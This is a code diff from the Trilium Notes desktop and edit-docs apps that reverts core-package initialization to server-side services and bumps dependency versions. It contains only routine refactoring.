@@ -101,58 +93,9 @@ async function main() {
     // this is to disable electron warning spam in the dev console (local development only)
     process.env["ELECTRON_DISABLE_SECURITY_WARNINGS"] = "true";
 
-    const { DOCUMENT_PATH } = (await import("@triliumnext/server/src/services/data_dir.js")).default;
-    const config = (await import("@triliumnext/server/src/services/config.js")).default;
-
-    const dbProvider = new BetterSqlite3Provider();
-    dbProvider.loadFromFile(DOCUMENT_PATH, config.General.readOnly);
-
-    await initializeCore({
-        dbConfig: {
-            provider: dbProvider,
-            isReadOnly: config.General.readOnly,
-            async onTransactionCommit() {
-                const ws = (await import("@triliumnext/server/src/services/ws.js")).default;
-                ws.sendTransactionEntityChangesToAllClients();
-            },
-            async onTransactionRollback() {
-                const cls = (await import("@triliumnext/server/src/services/cls.js")).default;
-                const becca_loader = (await import("@triliumnext/core")).becca_loader;
-                const entity_changes = (await import("@triliumnext/server/src/services/entity_changes.js")).default;
-                const log = (await import("@triliumnext/server/src/services/log")).default;
-
-                const entityChangeIds = cls.getAndClearEntityChangeIds();
-
-                if (entityChangeIds.length > 0) {
-                    log.info("Transaction rollback dirtied the becca, forcing reload.");
-
-                    becca_loader.load();
-                }
-
-                // the maxEntityChangeId has been incremented during failed transaction, need to recalculate
-                entity_changes.recalculateMaxEntityChangeId();
-            }
-        },
-        crypto: new NodejsCryptoProvider(),
-        zip: new NodejsZipProvider(),
-        zipExportProviderFactory: (await import("@triliumnext/server/src/services/export/zip/factory.js")).serverZipExportProviderFactory,
-        request: new NodeRequestProvider(),
-        executionContext: new ClsHookedExecutionContext(),
-        messaging: new WebSocketMessagingProvider(),
-        schema: fs.readFileSync(require.resolve("@triliumnext/core/src/assets/schema.sql"), "utf-8"),
-        platform: new DesktopPlatformProvider(),
-        translations: (await import("@triliumnext/server/src/services/i18n.js")).initializeTranslations,
-        getDemoArchive: async () => fs.readFileSync(require.resolve("@triliumnext/server/src/assets/db/demo.zip")),
-        extraAppInfo: {
-            nodeVersion: process.version,
-            dataDirectory: path.resolve(dataDirs.TRILIUM_DATA_DIR)
-        }
-    });
-
     const startTriliumServer = (await import("@triliumnext/server/src/www.js")).default;
     await startTriliumServer();
     console.log("Server loaded");
-
     serverInitializedPromise.resolve();
 }
 
@@ -169,8 +112,8 @@ async function onReady() {
 
     // if db is not initialized -> setup process
     // if db is initialized, then we need to wait until the migration process is finished
-    if (sql_init.isDbInitialized()) {
-        await sql_init.dbReady;
+    if (sqlInit.isDbInitialized()) {
+        await sqlInit.dbReady;
 
         await windowService.createMainWindow(app);
 
@@ -184,7 +127,6 @@ async function onReady() {
 
         tray.createTray();
     } else {
-        getLog().banner(t("sql_init.db_not_initialized_desktop"));
         await windowService.createSetupWindow();
     }
 
@@ -199,7 +141,7 @@ function getElectronLocale() {
     // For RTL, we have to force the UI locale to align the window buttons properly.
     if (formattingLocale && !correspondingLocale?.rtl) return formattingLocale;
 
-    return uiLocale || "en";
+    return uiLocale || "en"
 }
 
 main();

apps/desktop/src/platform_provider.ts

@@ -1,17 +0,0 @@
-import { PlatformProvider, t } from "@triliumnext/core";
-import electron from "electron";
-
-export default class DesktopPlatformProvider implements PlatformProvider {
-    readonly isElectron = true;
-    readonly isMac = process.platform === "darwin";
-    readonly isWindows = process.platform === "win32";
-
-    crash(message: string): void {
-        electron.dialog.showErrorBox(t("modals.error_title"), message);
-        electron.app.exit(1);
-    }
-
-    getEnv(key: string): string | undefined {
-        return process.env[key];
-    }
-}

apps/desktop/tsconfig.forge.json

@@ -9,26 +9,15 @@
       "node",
       "express"
     ],
-    "tsBuildInfoFile": "dist/tsconfig.forge.tsbuildinfo"
+    "tsBuildInfoFile": "dist/tsconfig.app.tsbuildinfo"
   },
   "include": [
     "**/*.ts",
-    "../server/src/*.d.ts",
-    "package.json"
+    "../server/src/*.d.ts"
   ],
   "exclude": [
     "eslint.config.js",
     "eslint.config.cjs",
-    "eslint.config.mjs",
-    "scripts/**",
-    "dist/**"
-  ],
-  "references": [
-    {
-      "path": "../server/tsconfig.app.json"
-    },
-    {
-      "path": "../../packages/commons/tsconfig.lib.json"
-    }
+    "eslint.config.mjs"
   ]
 }

apps/edit-docs/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@triliumnext/edit-docs",
-  "version": "0.102.1",
+  "version": "0.102.2",
   "private": true,
   "description": "Desktop version of Trilium which imports the demo database (presented to new users at start-up) or the user guide and other documentation and saves the modifications for committing.",
   "dependencies": {
@@ -9,11 +9,10 @@
   },
   "devDependencies": {
     "@triliumnext/client": "workspace:*",
-    "@triliumnext/core": "workspace:*",
     "@triliumnext/desktop": "workspace:*",
     "@types/fs-extra": "11.0.4",
     "copy-webpack-plugin": "14.0.0",
-    "electron": "41.1.0",
+    "electron": "41.1.1",
     "fs-extra": "11.3.4"
   },
   "scripts": {

apps/edit-docs/src/edit-demo.ts

@@ -1,9 +1,9 @@
+import { extractZip, importData, initializeDatabase, startElectron } from "./utils.js";
+import { initializeTranslations } from "@triliumnext/server/src/services/i18n.js";
 import debounce from "@triliumnext/client/src/services/debounce.js";
-import cls from "@triliumnext/server/src/services/cls.js";
 import fs from "fs/promises";
 import { join } from "path";
-
-import { extractZip, importData, startElectron } from "./utils.js";
+import cls from "@triliumnext/server/src/services/cls.js";
 
 // Paths are relative to apps/edit-docs/dist.
 const DEMO_ZIP_PATH = join(__dirname, "../../server/src/assets/db/demo.zip");
@@ -15,7 +15,8 @@ async function main() {
         setTimeout(() => registerHandlers(), 10_000);
     });
 
-    // TODO: Initialize core.
+    await initializeTranslations();
+    await initializeDatabase(true);
     cls.init(async () => {
         await importData(DEMO_ZIP_DIR_PATH);
         setOptions();
@@ -33,8 +34,8 @@ async function setOptions() {
 }
 
 async function registerHandlers() {
-    const { events } = await import("@triliumnext/core");
-    const { erase: eraseService } = await import("@triliumnext/core");
+    const events = (await import("@triliumnext/server/src/services/events.js")).default;
+    const eraseService = (await import("@triliumnext/server/src/services/erase.js")).default;
     const debouncer = debounce(async () => {
         console.log("Exporting data");
         eraseService.eraseUnusedAttachmentsNow();
@@ -54,8 +55,8 @@ async function registerHandlers() {
 }
 
 async function exportData() {
-    const { zipExportService } = (await import("@triliumnext/core"));
-    await zipExportService.exportToZipFile("root", "html", DEMO_ZIP_PATH);
+    const { exportToZipFile } = (await import("@triliumnext/server/src/services/export/zip.js")).default;
+    await exportToZipFile("root", "html", DEMO_ZIP_PATH);
 }
 
 main();

apps/edit-docs/src/edit-docs.ts

@@ -1,6 +1,7 @@
 import debounce from "@triliumnext/client/src/services/debounce.js";
-import type { AdvancedExportOptions, ExportFormat } from "@triliumnext/core";
 import cls from "@triliumnext/server/src/services/cls.js";
+import type { AdvancedExportOptions, ExportFormat } from "@triliumnext/server/src/services/export/zip/abstract_provider.js";
+import { initializeTranslations } from "@triliumnext/server/src/services/i18n.js";
 import { parseNoteMetaFile } from "@triliumnext/server/src/services/in_app_help.js";
 import type { NoteMetaFile } from "@triliumnext/server/src/services/meta/note_meta.js";
 import type NoteMeta from "@triliumnext/server/src/services/meta/note_meta.js";
@@ -10,7 +11,7 @@ import yaml from "js-yaml";
 import path from "path";
 
 import packageJson from "../package.json" with { type: "json" };
-import { extractZip, importData, startElectron } from "./utils.js";
+import { extractZip, importData, initializeDatabase, startElectron } from "./utils.js";
 
 interface NoteMapping {
     rootNoteId: string;
@@ -120,10 +121,11 @@ async function main() {
         }, 10_000);
     });
 
-    // TODO: Initialize core.
+    await initializeTranslations();
+    await initializeDatabase(true);
 
     // Wait for becca to be loaded before importing data
-    const { becca_loader: beccaLoader } = await import("@triliumnext/core");
+    const beccaLoader = await import("@triliumnext/server/src/becca/becca_loader.js");
     await beccaLoader.beccaLoaded;
 
     cls.init(async () => {
@@ -152,7 +154,7 @@ async function exportData(noteId: string, format: ExportFormat, outputPath: stri
         await fsExtra.mkdir(outputPath);
 
         // First export as zip.
-        const { zipExportService } = (await import("@triliumnext/core"));
+        const { exportToZipFile } = (await import("@triliumnext/server/src/services/export/zip.js")).default;
 
         const exportOpts: AdvancedExportOptions = {};
         if (format === "html") {
@@ -204,7 +206,7 @@ async function exportData(noteId: string, format: ExportFormat, outputPath: stri
             };
         }
 
-        await zipExportService.exportToZipFile(noteId, format, zipFilePath, exportOpts);
+        await exportToZipFile(noteId, format, zipFilePath, exportOpts);
         await extractZip(zipFilePath, outputPath, ignoredFiles);
     } finally {
         if (await fsExtra.exists(zipFilePath)) {
@@ -250,8 +252,8 @@ async function cleanUpMeta(outputPath: string, minify: boolean) {
 }
 
 async function registerHandlers() {
-    const { events } = await import("@triliumnext/core");
-    const { erase: eraseService } = await import("@triliumnext/core");
+    const events = (await import("@triliumnext/server/src/services/events.js")).default;
+    const eraseService = (await import("@triliumnext/server/src/services/erase.js")).default;
     const debouncer = debounce(async () => {
         eraseService.eraseUnusedAttachmentsNow();